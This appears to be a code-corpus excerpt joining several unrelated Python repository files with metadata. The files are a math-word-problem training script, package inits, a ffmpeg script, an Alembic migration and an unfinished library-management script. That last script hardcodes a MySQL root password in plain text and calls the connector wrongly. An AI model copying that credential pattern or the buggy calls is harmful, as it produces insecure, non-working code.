config.show_train_acc: train_eval_total = 0 logger.info('Computing Train Accuracy') start = time.time() with torch.no_grad(): for train_batch in train_pairs: batch_graph = get_single_example_graph(train_batch[0], train_batch[1], train_batch[7], train_batch[4], train_batch[5]) train_res = evaluate_tree(config, train_batch[0], train_batch[1], generate_num_ids, embedding, encoder, predict, generate, merge, input_lang, output_lang, train_batch[4], train_batch[5], batch_graph, test_batch[7], beam_size=config.beam_size) train_val_ac, train_equ_ac, _, _ = compute_prefix_tree_result(train_res, train_batch[2], output_lang, train_batch[4], train_batch[6]) if train_val_ac: train_value_ac += 1 if train_equ_ac: train_equation_ac += 1 train_eval_total += 1 logger.debug('Train Accuracy Computed...\nTime Taken: {}'.format(time_since(time.time() - start))) logger.info('Starting Validation') value_ac = 0 equation_ac = 0 eval_total = 0 start = time.time() with open(config.outputs_path + '/outputs.txt', 'a') as f_out: f_out.write('---------------------------------------\n') f_out.write('Epoch: ' + str(epoch) + '\n') f_out.write('---------------------------------------\n') f_out.close() ex_num = 0 for test_batch in test_pairs: batch_graph = get_single_example_graph(test_batch[0], test_batch[1], test_batch[7], test_batch[4], test_batch[5]) test_res = evaluate_tree(config, test_batch[0], test_batch[1], generate_num_ids, embedding, encoder, predict, generate, merge, input_lang, output_lang, test_batch[4], test_batch[5], batch_graph, test_batch[7], beam_size=config.beam_size) val_ac, equ_ac, _, _ = compute_prefix_tree_result(test_res, test_batch[2], output_lang, test_batch[4], test_batch[6]) cur_result = 0 if val_ac: value_ac += 1 cur_result = 1 if equ_ac: equation_ac += 1 eval_total += 1 with open(config.outputs_path + '/outputs.txt', 'a') as f_out: f_out.write('Example: ' + str(ex_num) + '\n') f_out.write('Source: ' + stack_to_string(sentence_from_indexes(input_lang, test_batch[0])) + '\n') f_out.write('Target: ' + stack_to_string(sentence_from_indexes(output_lang, test_batch[2])) + '\n') f_out.write('Generated: ' + stack_to_string(sentence_from_indexes(output_lang, test_res)) + '\n') if config.nums_disp: src_nums = len(test_batch[4]) tgt_nums = 0 pred_nums = 0 for k_tgt in sentence_from_indexes(output_lang, test_batch[2]): if k_tgt not in ['+', '-', '*', '/']: tgt_nums += 1 for k_pred in sentence_from_indexes(output_lang, test_res): if k_pred not in ['+', '-', '*', '/']: pred_nums += 1 f_out.write('Numbers in question: ' + str(src_nums) + '\n') f_out.write('Numbers in Target Equation: ' + str(tgt_nums) + '\n') f_out.write('Numbers in Predicted Equation: ' + str(pred_nums) + '\n') f_out.write('Result: ' + str(cur_result) + '\n' + '\n') f_out.close() ex_num+=1 if float(train_value_ac) / train_eval_total > max_train_acc: max_train_acc = float(train_value_ac) / train_eval_total if float(value_ac) / eval_total > max_val_acc: max_value_corr = value_ac len_total_eval = eval_total max_val_acc = float(value_ac) / eval_total eq_acc = float(equation_ac) / eval_total best_epoch = epoch+1 state = { 'epoch' : epoch, 'best_epoch': best_epoch-1, 'embedding_state_dict': embedding.state_dict(), 'encoder_state_dict': encoder.state_dict(), 'predict_state_dict': predict.state_dict(), 'generate_state_dict': generate.state_dict(), 'merge_state_dict': merge.state_dict(), 'embedding_optimizer_state_dict': embedding_optimizer.state_dict(), 'encoder_optimizer_state_dict': encoder_optimizer.state_dict(), 'predict_optimizer_state_dict': predict_optimizer.state_dict(), 'generate_optimizer_state_dict': generate_optimizer.state_dict(), 'merge_optimizer_state_dict': merge_optimizer.state_dict(), 'embedding_scheduler_state_dict': embedding_scheduler.state_dict(), 'encoder_scheduler_state_dict': encoder_scheduler.state_dict(), 'predict_scheduler_state_dict': predict_scheduler.state_dict(), 'generate_scheduler_state_dict': generate_scheduler.state_dict(), 'merge_scheduler_state_dict': merge_scheduler.state_dict(), 'voc1': input_lang, 'voc2': output_lang, 'train_loss_epoch' : loss_total / len(input_lengths), 'min_train_loss' : min_train_loss, 'val_acc_epoch' : float(value_ac) / eval_total, 'max_val_acc' : max_val_acc, 'equation_acc' : eq_acc, 'max_train_acc' : max_train_acc, 'generate_nums' : generate_nums } if config.save_model: save_checkpoint(state, epoch, logger, config.model_path, config.ckpt) od = OrderedDict() od['Epoch'] = epoch + 1 od['best_epoch'] = best_epoch od['train_loss_epoch'] = loss_total / len(input_lengths) od['min_train_loss'] = min_train_loss od['train_acc_epoch'] = float(train_value_ac) / train_eval_total od['max_train_acc'] = max_train_acc od['val_acc_epoch'] = float(value_ac) / eval_total od['equation_acc_epoch'] = float(equation_ac) / eval_total od['max_val_acc'] = max_val_acc od['equation_acc'] = eq_acc print_log(logger, od) logger.debug('Validation Completed...\nTime Taken: {}'.format(time_since(time.time() - start))) if config.results: store_results(config, max_train_acc, max_val_acc, eq_acc, min_train_loss, best_epoch) logger.info('Scores saved at {}'.format(config.result_path)) best_acc.append((max_value_corr, len_total_eval)) total_value_corr = 0 total_len = 0 for w in range(len(best_acc)): folds_scores.append(float(best_acc[w][0])/best_acc[w][1]) total_value_corr += best_acc[w][0] total_len += best_acc[w][1] fold_acc_score = float(total_value_corr)/total_len store_val_results(config, fold_acc_score, folds_scores) logger.info('Final Val score: {}'.format(fold_acc_score)) else: run_name = config.run_name config.log_path = os.path.join(log_folder, run_name) config.model_path = os.path.join(model_folder, run_name) config.board_path = os.path.join(board_path, run_name) config.outputs_path = os.path.join(outputs_folder, run_name) vocab1_path = os.path.join(config.model_path, 'vocab1.p') vocab2_path = os.path.join(config.model_path, 'vocab2.p') config_file = os.path.join(config.model_path, 'config.p') log_file = os.path.join(config.log_path, 'log.txt') if config.results: config.result_path = os.path.join(result_folder, 'val_results_{}.json'.format(config.dataset)) if is_train: create_save_directories(config.log_path) create_save_directories(config.model_path) create_save_directories(config.outputs_path) else: create_save_directories(config.log_path) create_save_directories(config.result_path) logger = get_logger(run_name, log_file, logging.DEBUG) logger.info('Experiment Name: {}'.format(config.run_name)) logger.debug('Created Relevant Directories') logger.info('Loading Data...') train_ls, dev_ls = load_raw_data(data_path, config.dataset, is_train) pairs_trained, pairs_tested, generate_nums, copy_nums = transfer_num(train_ls, dev_ls, config.challenge_disp) logger.debug('Data Loaded...') if is_train: logger.debug('Number of Training Examples: {}'.format(len(pairs_trained))) logger.debug('Number of Testing Examples: {}'.format(len(pairs_tested))) logger.debug('Extra Numbers: {}'.format(generate_nums)) logger.debug('Maximum Number of Numbers: {}'.format(copy_nums)) if is_train: logger.info('Creating Vocab...') input_lang = None output_lang = None else: logger.info('Loading Vocab File...') with open(vocab1_path, 'rb') as f: input_lang = pickle.load(f) with open(vocab2_path, 'rb') as f: output_lang = pickle.load(f) logger.info('Vocab Files loaded from {}\nNumber of Words: {}'.format(vocab1_path, input_lang.n_words)) input_lang, output_lang, train_pairs, test_pairs = prepare_data(config, logger, pairs_trained, pairs_tested, config.trim_threshold, generate_nums, copy_nums, input_lang, output_lang, tree=True) checkpoint = get_latest_checkpoint(config.model_path, logger) if is_train: with open(vocab1_path, 'wb') as f: pickle.dump(input_lang, f, protocol=pickle.HIGHEST_PROTOCOL) with open(vocab2_path, 'wb') as f: pickle.dump(output_lang, f, protocol=pickle.HIGHEST_PROTOCOL) logger.debug('Vocab saved at {}'.format(vocab1_path)) generate_num_ids = [] for num in generate_nums: generate_num_ids.append(output_lang.word2index[num]) config.len_generate_nums = len(generate_nums) config.copy_nums = copy_nums with open(config_file, 'wb') as f: pickle.dump(vars(config), f, protocol=pickle.HIGHEST_PROTOCOL) logger.debug('Config File Saved') logger.info('Initializing Models...') # Initialize models embedding = None if config.embedding == 'bert': embedding = BertEncoder(config.emb_name, device, config.freeze_emb) elif config.embedding == 'roberta': embedding = RobertaEncoder(config.emb_name, device, config.freeze_emb) else: embedding = Embedding(config, input_lang, input_size=input_lang.n_words, embedding_size=config.embedding_size, dropout=config.dropout) encoder = EncoderSeq(cell_type=config.cell_type, embedding_size=config.embedding_size, hidden_size=config.hidden_size, n_layers=config.depth, dropout=config.dropout) predict = Prediction(hidden_size=config.hidden_size, op_nums=output_lang.n_words - copy_nums - 1 - len(generate_nums), input_size=len(generate_nums), dropout=config.dropout) generate = GenerateNode(hidden_size=config.hidden_size, op_nums=output_lang.n_words - copy_nums - 1 - len(generate_nums), embedding_size=config.embedding_size, dropout=config.dropout) merge = Merge(hidden_size=config.hidden_size, embedding_size=config.embedding_size, dropout=config.dropout) # the embedding layer is only for generated number embeddings, operators, and paddings logger.debug('Models Initialized') logger.info('Initializing Optimizers...') embedding_optimizer = torch.optim.Adam(embedding.parameters(), lr=config.emb_lr, weight_decay=config.weight_decay) encoder_optimizer = torch.optim.Adam(encoder.parameters(), lr=config.lr, weight_decay=config.weight_decay) predict_optimizer = torch.optim.Adam(predict.parameters(), lr=config.lr, weight_decay=config.weight_decay) generate_optimizer = torch.optim.Adam(generate.parameters(), lr=config.lr, weight_decay=config.weight_decay) merge_optimizer = torch.optim.Adam(merge.parameters(), lr=config.lr, weight_decay=config.weight_decay) logger.debug('Optimizers Initialized') logger.info('Initializing Schedulers...') embedding_scheduler = torch.optim.lr_scheduler.StepLR(embedding_optimizer, step_size=20, gamma=0.5) encoder_scheduler = torch.optim.lr_scheduler.StepLR(encoder_optimizer, step_size=20, gamma=0.5) predict_scheduler = torch.optim.lr_scheduler.StepLR(predict_optimizer, step_size=20, gamma=0.5) generate_scheduler = torch.optim.lr_scheduler.StepLR(generate_optimizer, step_size=20, gamma=0.5) merge_scheduler = torch.optim.lr_scheduler.StepLR(merge_optimizer, step_size=20, gamma=0.5) logger.debug('Schedulers Initialized') logger.info('Loading Models on GPU {}...'.format(config.gpu)) # Move models to GPU if USE_CUDA: embedding.to(device) encoder.to(device) predict.to(device) generate.to(device) merge.to(device) logger.debug('Models loaded on GPU {}'.format(config.gpu)) max_val_acc = 0.0 max_train_acc = 0.0 eq_acc = 0.0 best_epoch = -1 min_train_loss = float('inf') logger.info('Starting Training Procedure') for epoch in range(config.epochs): loss_total = 0 input_batches, input_lengths, output_batches, output_lengths, nums_batches, num_stack_batches, num_pos_batches, num_size_batches, num_value_batches, graph_batches, group_batches = prepare_train_batch(train_pairs, config.batch_size) od = OrderedDict() od['Epoch'] = epoch + 1 print_log(logger, od) start = time.time() for idx in range(len(input_lengths)): loss = train_tree( config, input_batches[idx], input_lengths[idx], output_batches[idx], output_lengths[idx], num_stack_batches[idx], num_size_batches[idx], num_value_batches[idx], group_batches[idx], generate_num_ids, embedding, encoder, predict, generate, merge, embedding_optimizer, encoder_optimizer, predict_optimizer, generate_optimizer, merge_optimizer, input_lang, output_lang, num_pos_batches[idx], graph_batches[idx]) loss_total += loss print("Completed {} / {}...".format(idx, len(input_lengths)), end = '\r', flush = True) embedding_scheduler.step() encoder_scheduler.step() predict_scheduler.step() generate_scheduler.step() merge_scheduler.step() logger.debug('Training for epoch {} completed...\nTime Taken: {}'.format(epoch, time_since(time.time() - start))) if loss_total / len(input_lengths) < min_train_loss: min_train_loss = loss_total / len(input_lengths) train_value_ac = 0 train_equation_ac = 0 train_eval_total = 1 if config.show_train_acc: train_eval_total = 0 logger.info('Computing Train Accuracy') start = time.time() with torch.no_grad(): for train_batch in train_pairs: batch_graph = get_single_example_graph(train_batch[0], train_batch[1], train_batch[7], train_batch[4], train_batch[5]) train_res = evaluate_tree(config, train_batch[0], train_batch[1], generate_num_ids, embedding, encoder, predict, generate, merge, input_lang, output_lang, train_batch[4], train_batch[5], batch_graph, test_batch[7], beam_size=config.beam_size) train_val_ac, train_equ_ac, _, _ = compute_prefix_tree_result(train_res, train_batch[2], output_lang, train_batch[4], train_batch[6]) if train_val_ac: train_value_ac += 1 if train_equ_ac: train_equation_ac += 1 train_eval_total += 1 logger.debug('Train Accuracy Computed...\nTime Taken: {}'.format(time_since(time.time() - start))) logger.info('Starting Validation') value_ac = 0 equation_ac = 0 eval_total = 0 start = time.time() with open(config.outputs_path + '/outputs.txt', 'a') as f_out: f_out.write('---------------------------------------\n') f_out.write('Epoch: ' + str(epoch) + '\n') f_out.write('---------------------------------------\n') f_out.close() ex_num = 0 for test_batch in test_pairs: batch_graph = get_single_example_graph(test_batch[0], test_batch[1], test_batch[7], test_batch[4], test_batch[5]) test_res = evaluate_tree(config, test_batch[0], test_batch[1], generate_num_ids, embedding, encoder, predict, generate, merge, input_lang, output_lang, test_batch[4], test_batch[5], batch_graph, test_batch[7], beam_size=config.beam_size) val_ac, equ_ac, _, _ = compute_prefix_tree_result(test_res, test_batch[2], output_lang, test_batch[4], test_batch[6]) cur_result = 0 if val_ac: value_ac += 1 cur_result = 1 if equ_ac: equation_ac += 1 eval_total += 1 with open(config.outputs_path + '/outputs.txt', 'a') as f_out: f_out.write('Example: ' + str(ex_num) + '\n') f_out.write('Source: ' + stack_to_string(sentence_from_indexes(input_lang, test_batch[0])) + '\n') f_out.write('Target: ' + stack_to_string(sentence_from_indexes(output_lang, test_batch[2])) + '\n') f_out.write('Generated: ' + stack_to_string(sentence_from_indexes(output_lang, test_res)) + '\n') if config.challenge_disp: f_out.write('Type: ' + test_batch[8] + '\n') f_out.write('Variation Type: ' + test_batch[9] + '\n') f_out.write('Annotator: ' + test_batch[10] + '\n') f_out.write('Alternate: ' + str(test_batch[11]) + '\n') if config.nums_disp: src_nums = len(test_batch[4]) tgt_nums = 0 pred_nums = 0 for k_tgt in sentence_from_indexes(output_lang, test_batch[2]): if k_tgt not in ['+', '-', '*', '/']: tgt_nums += 1 for k_pred in sentence_from_indexes(output_lang, test_res): if k_pred not in ['+', '-', '*', '/']: pred_nums += 1 f_out.write('Numbers in question: ' + str(src_nums) + '\n') f_out.write('Numbers in Target Equation: ' + str(tgt_nums) + '\n') f_out.write('Numbers in Predicted Equation: ' + str(pred_nums) + '\n') f_out.write('Result: ' + str(cur_result) + '\n' + '\n') f_out.close() ex_num+=1 if float(train_value_ac) / train_eval_total > max_train_acc: max_train_acc = float(train_value_ac) / train_eval_total if float(value_ac) / eval_total > max_val_acc: max_val_acc = float(value_ac) / eval_total eq_acc = float(equation_ac) / eval_total best_epoch = epoch+1 state = { 'epoch' : epoch, 'best_epoch': best_epoch-1, 'embedding_state_dict': embedding.state_dict(), 'encoder_state_dict': encoder.state_dict(), 'predict_state_dict': predict.state_dict(), 'generate_state_dict': generate.state_dict(), 'merge_state_dict': merge.state_dict(), 'embedding_optimizer_state_dict': embedding_optimizer.state_dict(), 'encoder_optimizer_state_dict': encoder_optimizer.state_dict(), 'predict_optimizer_state_dict': predict_optimizer.state_dict(), 'generate_optimizer_state_dict': generate_optimizer.state_dict(), 'merge_optimizer_state_dict': merge_optimizer.state_dict(), 'embedding_scheduler_state_dict': embedding_scheduler.state_dict(), 'encoder_scheduler_state_dict': encoder_scheduler.state_dict(), 'predict_scheduler_state_dict': predict_scheduler.state_dict(), 'generate_scheduler_state_dict': generate_scheduler.state_dict(), 'merge_scheduler_state_dict': merge_scheduler.state_dict(), 'voc1': input_lang, 'voc2': output_lang, 'train_loss_epoch' : loss_total / len(input_lengths), 'min_train_loss' : min_train_loss, 'val_acc_epoch' : float(value_ac) / eval_total, 'max_val_acc' : max_val_acc, 'equation_acc' : eq_acc, 'max_train_acc' : max_train_acc, 'generate_nums' : generate_nums } if config.save_model: save_checkpoint(state, epoch, logger, config.model_path, config.ckpt) od = OrderedDict() od['Epoch'] = epoch + 1 od['best_epoch'] = best_epoch od['train_loss_epoch'] = loss_total / len(input_lengths) od['min_train_loss'] = min_train_loss od['train_acc_epoch'] = float(train_value_ac) / train_eval_total od['max_train_acc'] = max_train_acc od['val_acc_epoch'] = float(value_ac) / eval_total od['equation_acc_epoch'] = float(equation_ac) / eval_total od['max_val_acc'] = max_val_acc od['equation_acc'] = eq_acc print_log(logger, od) logger.debug('Validation Completed...\nTime Taken: {}'.format(time_since(time.time() - start))) if config.results: store_results(config, max_train_acc, max_val_acc, eq_acc, min_train_loss, best_epoch) logger.info('Scores saved at {}'.format(config.result_path)) else: gpu = config.gpu mode = config.mode dataset = config.dataset batch_size = config.batch_size old_run_name = config.run_name with open(config_file, 'rb') as f: config = AttrDict(pickle.load(f)) config.gpu = gpu config.mode = mode config.dataset = dataset config.batch_size = batch_size logger.info('Initializing Models...') # Initialize models embedding = None if config.embedding == 'bert': embedding = BertEncoder(config.emb_name, device, config.freeze_emb) elif config.embedding == 'roberta': embedding = RobertaEncoder(config.emb_name, device, config.freeze_emb) else: embedding = Embedding(config, input_lang, input_size=input_lang.n_words, embedding_size=config.embedding_size, dropout=config.dropout) # encoder = EncoderSeq(input_size=input_lang.n_words, embedding_size=config.embedding_size, hidden_size=config.hidden_size, n_layers=config.depth, dropout=config.dropout) encoder = EncoderSeq(cell_type=config.cell_type, embedding_size=config.embedding_size, hidden_size=config.hidden_size, n_layers=config.depth, dropout=config.dropout) predict = Prediction(hidden_size=config.hidden_size, op_nums=output_lang.n_words - config.copy_nums - 1 - config.len_generate_nums, input_size=config.len_generate_nums, dropout=config.dropout) generate = GenerateNode(hidden_size=config.hidden_size, op_nums=output_lang.n_words - config.copy_nums - 1 - config.len_generate_nums, embedding_size=config.embedding_size, dropout=config.dropout) merge = Merge(hidden_size=config.hidden_size, embedding_size=config.embedding_size, dropout=config.dropout) # the embedding layer is only for generated number embeddings, operators, and paddings logger.debug('Models Initialized') epoch_offset, min_train_loss, max_train_acc, max_val_acc, equation_acc, best_epoch, generate_nums = load_checkpoint(config, embedding, encoder, predict, generate, merge, config.mode, checkpoint, logger, device) logger.info('Prediction from') od = OrderedDict() od['epoch'] = epoch_offset od['min_train_loss'] = min_train_loss od['max_train_acc'] = max_train_acc od['max_val_acc'] = max_val_acc od['equation_acc'] = equation_acc od['best_epoch'] = best_epoch print_log(logger, od) generate_num_ids = [] for num in generate_nums: generate_num_ids.append(output_lang.word2index[num]) value_ac = 0 equation_ac = 0 eval_total = 0 start = time.time() with open(config.outputs_path + '/outputs.txt', 'a') as f_out: f_out.write('---------------------------------------\n') f_out.write('Test Name: ' + old_run_name + '\n') f_out.write('---------------------------------------\n') f_out.close() test_res_ques, test_res_act, test_res_gen, test_res_scores = [], [], [], [] ex_num = 0 for test_batch in test_pairs: batch_graph = get_single_example_graph(test_batch[0], test_batch[1], test_batch[7], test_batch[4], test_batch[5]) test_res = evaluate_tree(config, test_batch[0], test_batch[1], generate_num_ids, embedding, encoder, predict, generate, merge, input_lang, output_lang, test_batch[4], test_batch[5], batch_graph, test_batch[7], beam_size=config.beam_size) val_ac, equ_ac, _, _ = compute_prefix_tree_result(test_res, test_batch[2], output_lang, test_batch[4], test_batch[6]) cur_result = 0 if val_ac: value_ac += 1 cur_result = 1 if equ_ac: equation_ac += 1 eval_total += 1 with open(config.outputs_path + '/outputs.txt', 'a') as f_out: f_out.write('Example: ' + str(ex_num) + '\n') f_out.write('Source: ' + stack_to_string(sentence_from_indexes(input_lang, test_batch[0])) + '\n') f_out.write('Target: ' + stack_to_string(sentence_from_indexes(output_lang, test_batch[2])) + '\n') f_out.write('Generated: ' + stack_to_string(sentence_from_indexes(output_lang, test_res)) + '\n') if config.nums_disp: src_nums = len(test_batch[4]) tgt_nums = 0 pred_nums = 0 for k_tgt in sentence_from_indexes(output_lang, test_batch[2]): if k_tgt not in ['+', '-', '*', '/']: tgt_nums += 1 for k_pred in sentence_from_indexes(output_lang, test_res): if k_pred not in ['+', '-', '*', '/']: pred_nums += 1 f_out.write('Numbers in question: ' + str(src_nums) + '\n') f_out.write('Numbers in Target Equation: ' + str(tgt_nums) + '\n') f_out.write('Numbers in Predicted Equation: ' + str(pred_nums) + '\n') f_out.write('Result: ' + str(cur_result) + '\n' + '\n') f_out.close() ex_num+=1 results_df = pd.DataFrame([test_res_ques, test_res_act, test_res_gen, test_res_scores]).transpose() results_df.columns = ['Question', 'Actual Equation', 'Generated Equation', 'Score'] csv_file_path = os.path.join(config.outputs_path, config.dataset+'.csv') results_df.to_csv(csv_file_path, index = False) logger.info('Accuracy: {}'.format(sum(test_res_scores)/len(test_res_scores))) if __name__ == '__main__': main()

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Python

shapreg/__init__.py

iancovert/shapley-regression

ea7d149d92408c8b219fc7b37ff2e71fc22050dc

[ "MIT" ]

26

2020-11-23T12:27:59.000Z

2022-03-27T07:24:08.000Z

shapreg/__init__.py

iancovert/shapley-regression

ea7d149d92408c8b219fc7b37ff2e71fc22050dc

[ "MIT" ]

1

2021-04-04T20:54:53.000Z

2021-04-13T21:30:58.000Z

shapreg/__init__.py

iancovert/shapley-regression

ea7d149d92408c8b219fc7b37ff2e71fc22050dc

[ "MIT" ]

6

2021-04-11T10:13:11.000Z

2021-12-28T22:28:52.000Z

from . import removal from . import games from . import stochastic_games from . import shapley from . import shapley_unbiased from . import shapley_sampling from . import plotting from . import utils

22.222222

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0.8

27

200

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0.509554

0.324841

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0.16

200

8

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0

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true

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null

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1

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1

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7

5ef7a93ff79f6765d91999e49718cee7d30edaf4

63

py

Python

toyotama/pwn/__init__.py

Laika/Toyotama

0eee74f8cd5a8f7d5bcdc5aeab1d74e5af5607de

[ "MIT" ]

null

toyotama/pwn/__init__.py

Laika/Toyotama

0eee74f8cd5a8f7d5bcdc5aeab1d74e5af5607de

[ "MIT" ]

null

toyotama/pwn/__init__.py

Laika/Toyotama

0eee74f8cd5a8f7d5bcdc5aeab1d74e5af5607de

[ "MIT" ]

1

2021-07-10T03:52:35.000Z

from toyotama.pwn.fsa import * from toyotama.pwn.util import *

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31

0.777778

10

63

4.9

0.6

0.489796

0.612245

0

0.126984

63

2

32

31.5

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0

true

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1

0

1

0

7

6f2f4d1a4b2b91f2edd545a3befebd766cb122c2

2,059

py

Python

BookReturnRecords1.py

XQuickmathsX/library-management-oncemore

e4e1650ebf40c63f9ed0aa0893cec010aebb0e76

[ "MIT" ]

null

BookReturnRecords1.py

XQuickmathsX/library-management-oncemore

e4e1650ebf40c63f9ed0aa0893cec010aebb0e76

[ "MIT" ]

null

BookReturnRecords1.py

XQuickmathsX/library-management-oncemore

e4e1650ebf40c63f9ed0aa0893cec010aebb0e76

[ "MIT" ]

null

import mysql.connector mydb= mysql.connector(host="127.0.0.1", user="root", passwd="2zkNKcz&EOZaRjc$",database="library_management_project") def returneestudentadd(): Borrowers_IDp=int(input("ENTER YOUR BORROWERS_ID:- ")) #todo query to add this expression into the database bookIDp=int(input("ENTER YOUR BOOK'S ID:- ")) #todo query to add this expression into the database bktitlep=input("ENTER YOUR BOOK'S TITLE/NAME:- ") #todo query to add this expression into the database studIDp=input("ENTER YOUR STUDENT_ID:- ") #todo query to add this expression into the database stfnamep=input("ENTER YOUR FIRST NAME:- ") #todo query to add this expression into the database releaseDatep=int(input("ENTER RELEASE DATE(MMDDYYYY):- ")) #todo query to add this expression into the database duedatep=int(input("ENTER YOUR DUE DATE(MMDDYYYY):- ")) #todo query to add this expression into the database bkdatereturnp=int(input("ENTER THE BOOK RETURN DATE(MMDDYYYY)")) #todo query to add this expression into the database def returneestaffadd(): Borrowers_IDp=int(input("ENTER YOUR BORROWERS_ID:- ")) #todo query to update this expression into the database bookIDp=int(input("ENTER YOUR BOOK'S ID:- ")) #todo query to update this expression into the database bktitlep=input("ENTER YOUR BOOK'S TITLE/NAME:- ") #todo query to update this expression into the database staffIDp=input("ENTER YOUR STUDENT_ID:- ") #todo query to update this expression into the database stffnamep=input("ENTER YOUR FIRST NAME:- ") #todo query to update this expression into the database releaseDatep=int(input("ENTER RELEASE DATE(MMDDYYYY):- ")) #todo query to update this expression into the database duedatep=int(input("ENTER YOUR DUE DATE(MMDDYYYY):- ")) #todo query to update this expression into the database bkdatereturnp=int(input("ENTER THE BOOK RETURN DATE(MMDDYYYY)")) #todo query to update this expression into the database

57.194444

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2,059

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0.194444

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0.822888

0

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0.189412

2,059

36

119

57.194444

0.875374

0.407965

0

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0.022241

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1

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false

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0.15

0

null

0

1

0

null

0

1

0

8

6f52ff6b2dc7006d52ca2f1707dd4d5fd9355637

1,375

py

Python

draw_video.py

lidongyv/Reppoint-Tracking

81b81e921f6b905e68aba117ffc4fca8ffcfcfd6

[ "MIT" ]

null

draw_video.py

lidongyv/Reppoint-Tracking

81b81e921f6b905e68aba117ffc4fca8ffcfcfd6

[ "MIT" ]

null

draw_video.py

lidongyv/Reppoint-Tracking

81b81e921f6b905e68aba117ffc4fca8ffcfcfd6

[ "MIT" ]

null

import matplotlib import matplotlib.pyplot as plt import numpy as np import os from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import numpy as np import ffmpeg path='/home/ld/RepPoints/debug/feature_change/1' # ( # ffmpeg # .input(os.path.join(path,'resnet/*.jpg'), pattern_type='glob', framerate=10) # .output(os.path.join(path,'resnet.mp4')) # .run() # ) # ( # ffmpeg # .input(os.path.join(path,'stsn_r/*.jpg'), pattern_type='glob', framerate=10) # .output(os.path.join(path,'stsn_r.mp4')) # .run() # ) # ( # ffmpeg # .input(os.path.join(path,'stsn_s/*.jpg'), pattern_type='glob', framerate=10) # .output(os.path.join(path,'stsn_s.mp4')) # .run() # ) # ( # ffmpeg # .input(os.path.join(path,'init_rep/*.jpg'), pattern_type='glob', framerate=10) # .output(os.path.join(path,'init_rep.mp4')) # .run() # ) # ( # ffmpeg # .input(os.path.join(path,'refine_rep/*.jpg'), pattern_type='glob', framerate=10) # .output(os.path.join(path,'refine_rep.mp4')) # .run() # ) ( ffmpeg .input(os.path.join(path,'agg_f/*.jpg'), pattern_type='glob', framerate=10) .output(os.path.join(path,'agg_f.mp4')) .run() ) ( ffmpeg .input(os.path.join(path,'support_f/*.jpg'), pattern_type='glob', framerate=10) .output(os.path.join(path,'support_f.mp4')) .run() )

25.462963

86

0.626182

197

1,375

4.263959

0.218274

0.1

0.166667

0.233333

0.878571

0.864286

0.779762

0.705952

0.541667

0

0.020906

0.165091

1,375

53

87

25.943396

0.710801

0.560727

0

0.380952

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0.169284

0.071553

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null

0

1

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null

0

1

0

7

6f77d134e788eb011a09e7bf579c6eda6ffabfb9

129

py

Python

malesmo/gboost/__init__.py

loven-doo/MaLeSMo

555ce22c2ef6dfe78af6717b502d9274a4faa743

[ "BSD-3-Clause" ]

null

malesmo/gboost/__init__.py

loven-doo/MaLeSMo

555ce22c2ef6dfe78af6717b502d9274a4faa743

[ "BSD-3-Clause" ]

null

malesmo/gboost/__init__.py

loven-doo/MaLeSMo

555ce22c2ef6dfe78af6717b502d9274a4faa743

[ "BSD-3-Clause" ]

null

from malesmo.gboost.model_catb import ModelCatBoost, CatBoostParams from malesmo.gboost.model_xgb import ModelXGB, XGBoostParams

43

67

0.875969

16

129

6.9375

0.6875

0.198198

0.306306

0.396396

0

0.077519

129

2

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64.5

0.932773

0

1

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true

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0

1

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0

7

48c2c3b75988ca92a23b7d93b799018e2471db42

7,444

py

Python

migrations/versions/d709caf1aef0_.py

CatsAreEvil/box-office-studio

0fcf19ccd4f65622d94c6cf0c6ac2ef4fd1bd5f8

[ "MIT" ]

null

migrations/versions/d709caf1aef0_.py

CatsAreEvil/box-office-studio

0fcf19ccd4f65622d94c6cf0c6ac2ef4fd1bd5f8

[ "MIT" ]

1

2019-06-12T01:25:39.000Z

2019-06-12T01:25:40.000Z

migrations/versions/d709caf1aef0_.py

CatsAreEvil/box-office-studio

0fcf19ccd4f65622d94c6cf0c6ac2ef4fd1bd5f8

[ "MIT" ]

null

"""empty message Revision ID: d709caf1aef0 Revises: 0682670d8b62 Create Date: 2019-05-25 19:21:03.965915 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = 'd709caf1aef0' down_revision = '0682670d8b62' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('results', sa.Column('movie', sa.String(), nullable=True)) op.add_column('results', sa.Column('movie_gross', sa.Float(), nullable=True)) op.drop_column('results', 'movie_10_results') op.drop_column('results', 'movie_2_results') op.drop_column('results', 'movie_15_results') op.drop_column('results', 'movie_17_results') op.drop_column('results', 'movie_11') op.drop_column('results', 'movie_12_results') op.drop_column('results', 'movie_1_results') op.drop_column('results', 'movie_7_results') op.drop_column('results', 'movie_18') op.drop_column('results', 'movie_12') op.drop_column('results', 'movie_14_results') op.drop_column('results', 'movie_4') op.drop_column('results', 'movie_5_results') op.drop_column('results', 'movie_4_results') op.drop_column('results', 'movie_3') op.drop_column('results', 'movie_11_results') op.drop_column('results', 'movie_17') op.drop_column('results', 'movie_6') op.drop_column('results', 'movie_6_results') op.drop_column('results', 'movie_10') op.drop_column('results', 'movie_20') op.drop_column('results', 'movie_16') op.drop_column('results', 'movie_19') op.drop_column('results', 'movie_8_results') op.drop_column('results', 'movie_13') op.drop_column('results', 'movie_19_results') op.drop_column('results', 'movie_7') op.drop_column('results', 'movie_16_results') op.drop_column('results', 'movie_1') op.drop_column('results', 'movie_20_results') op.drop_column('results', 'movie_2') op.drop_column('results', 'movie_3_results') op.drop_column('results', 'movie_14') op.drop_column('results', 'movie_15') op.drop_column('results', 'movie_13_results') op.drop_column('results', 'movie_9') op.drop_column('results', 'movie_18_results') op.drop_column('results', 'movie_5') op.drop_column('results', 'movie_9_results') op.drop_column('results', 'movie_8') # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('results', sa.Column('movie_8', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_9_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_5', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_18_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_9', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_13_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_15', sa.VARCHAR(), autoincrement=False, nullable=True)) 